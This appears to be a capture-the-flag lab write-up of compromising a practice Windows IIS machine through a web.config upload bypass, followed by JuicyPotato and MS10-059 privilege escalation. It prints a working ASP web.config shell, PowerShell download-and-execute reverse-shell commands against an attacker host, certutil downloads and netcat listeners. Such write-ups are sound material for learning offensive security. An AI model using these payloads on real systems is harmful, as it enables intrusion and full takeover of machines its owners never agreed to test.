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Vulnerable Exploit: Improper validate file extension

System Vulnerable: 10.10.10.93

Vulnerability Explanation: The machine is vulnerable to improper validate file extension which could allow us to bypass the filter and upload reverse shell payload and allow us to gain shell.

Privilege Escalation Vulnerability: Out of date kernal version

Vulnerability Fix: Sanitize User Input and Apply patch to the system

Severity: High

Step to Compromise the Host:

Reconnaissance

└─$ nmap -p- -sC -sV -T4 10.10.10.93    
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-20 22:01 EST
Nmap scan report for 10.10.10.93
Host is up (0.054s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Bounty
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

Port 80 Microsoft-IIS/7.5

There is only port 80 open on the remote machine. By going through, we found a simple web page and viewing the source code nothing is interest.

Let find hidden directory with gobuster. By going through the directory /uploadFiles, it returns back 403 Forbidden access. As we know it's microsoft IIS, let run again with asp, aspx extension.

└─$ gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50            
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.93
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/20 22:05:57 Starting gobuster in directory enumeration mode
===============================================================
/UploadedFiles        (Status: 301) [Size: 156] [--> http://10.10.10.93/UploadedFiles/]
/uploadedFiles        (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedFiles/]
/uploadedfiles        (Status: 301) [Size: 156] [--> http://10.10.10.93/uploadedfiles/]

By this time, we found other file /transfer.aspx which is status 200.

└─$ gobuster dir -u http://10.10.10.93 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .asp,.aspx
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.93
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              asp,aspx
[+] Timeout:                 10s
===============================================================
2021/11/20 22:10:46 Starting gobuster in directory enumeration mode
===============================================================
/transfer.aspx        (Status: 200) [Size: 941]

We can try to upload an image file, and it's successfully upload and we can view as well.

Let try to upload payload with aspx extension but it was rejected.

But if we upload .config extension, it's accepted.

Exploitation web.config

Let replace it with simple shell.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>

Let replace the command whoami with Powershell payload from nishang.

<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>

Let start our netcat listener on port 4444 and HTTP server to share payload.

nc -lvp 4444
python -m SimpleHTTPServer 80

Let upload the file web.config once again and we executed it.

└─$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.93 - - [21/Nov/2021 02:24:38] "GET /shell.ps1 HTTP/1.1" 200 -

We didn't found any flag on merlin/Desktop unless we use command attire to display hidden files.

PS C:\Users\merlin\Desktop> attrib
A  SH        C:\Users\merlin\Desktop\desktop.ini
A   H        C:\Users\merlin\Desktop\user.txt

Otherwise we can use Get-ChildItem in powershell to display files that are located in the current directory and its subdirectories.

PS C:\Users\merlin\Desktop> gci -force


    Directory: C:\Users\merlin\Desktop


Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a-hs         5/30/2018  12:22 AM        282 desktop.ini                       
-a-h-         5/30/2018  11:32 PM         32 user.txt

Privilege Escalation

Checking the privilege of the user merlin on the system. Seem like it's vulnerable to potato attack.

PS C:\Users\merlin\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Let run windows-exploit suggester to check for privilege escalation vulnerable.

└─$ python windows-exploit-suggester.py -d 2021-11-21-mssb.xls -i systeminfo.txt 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*] there are now 197 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2008 R2 64-bit'
[*] 
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*] 
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E] MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*] done

MS10-059

Let start smb server to share exploit file and start netcat listener on port 5555

└─$ impacket-smbserver share .    
└─$ nc -lvp 5555

On our victim machine, connect to the share folder and execute the file.

PS C:\Users\merlin\Desktop> //10.10.14.31/share/MS10-059.exe 10.10.14.31 5555

Juicy Potato

Now let copy another Powershell payload and use port 5555.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 5555

Then, transfer juicypotato.exe to our victim machine.

PS C:\Users\Public> certutil -f -urlcache http://10.10.14.31/jp.exe C:\Users\Public\jp.exe

Then, create a file call shell.bat and the content is powershell script to download our reverse shell and executed.

powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/Invoke-PowerShellTcp.ps1')

Let transfer the shell.bat file to our victim machine as well.

PS C:\Users\Public> (new-object net.webclient).downloadfile('http://10.10.14.31/shell.bat', 'C:\users\Public\shell.bat')

Let start our HTTP Server and netcat listener on port 5555.

python -m SimpleHTTPServer
nc -lvp 5555

Now, let execute our juicypotato.exe file.

PS C:\Users\Public> C:\Users\Public\jp.exe -t * -p shell.bat -l 6666
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 6666
....
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

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Last updated 2 years ago